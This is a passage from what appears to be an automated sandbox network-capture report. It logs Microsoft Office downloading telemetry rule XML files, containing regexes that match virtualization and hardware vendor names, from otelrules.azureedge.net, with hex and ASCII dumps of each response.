R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:49 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184949Z-174f7845968qj8jrhC1EWRh41s000000107g00000000dc89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:49 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:49 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:49 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184949Z-174f7845968xr5c2hC1EWRd0hn0000000h5000000000bvxy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:50 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:49 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:50 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 28cbb195-f01e-0096-56fa-4110ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184949Z-174f7845968cdxdrhC1EWRg0en00000010bg000000003b1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:50 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:51 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:51 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 454be365-001e-0065-3d29-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184951Z-174f78459684bddphC1EWRbht4000000100000000000g2kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:51 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:51 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: fd79bfa2-c01e-0079-5434-41e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184951Z-174f7845968nxc96hC1EWRspw800000010600000000008vt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:51 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184951Z-174f78459688l8rvhC1EWRtzr00000000cu000000000mz0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:51 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:52 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184952Z-174f78459685m244hC1EWRgp2c00000010600000000081du x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:52 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:51 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:52 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1bbe3829-001e-0079-0e66-4012e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184952Z-174f7845968zgtf6hC1EWRqd8s0000000t5000000000nvy3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:52 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:53 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:53 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184953Z-174f78459685m244hC1EWRgp2c000000108g000000001gnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:53 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:53 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:53 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184953Z-174f78459685m244hC1EWRgp2c00000010700000000052dc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:53 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:53 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184953Z-174f7845968vqt9xhC1EWRgten000000109000000000hz34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:54 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:54 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184954Z-174f78459684bddphC1EWRbht4000000101g00000000bzrb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:54 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 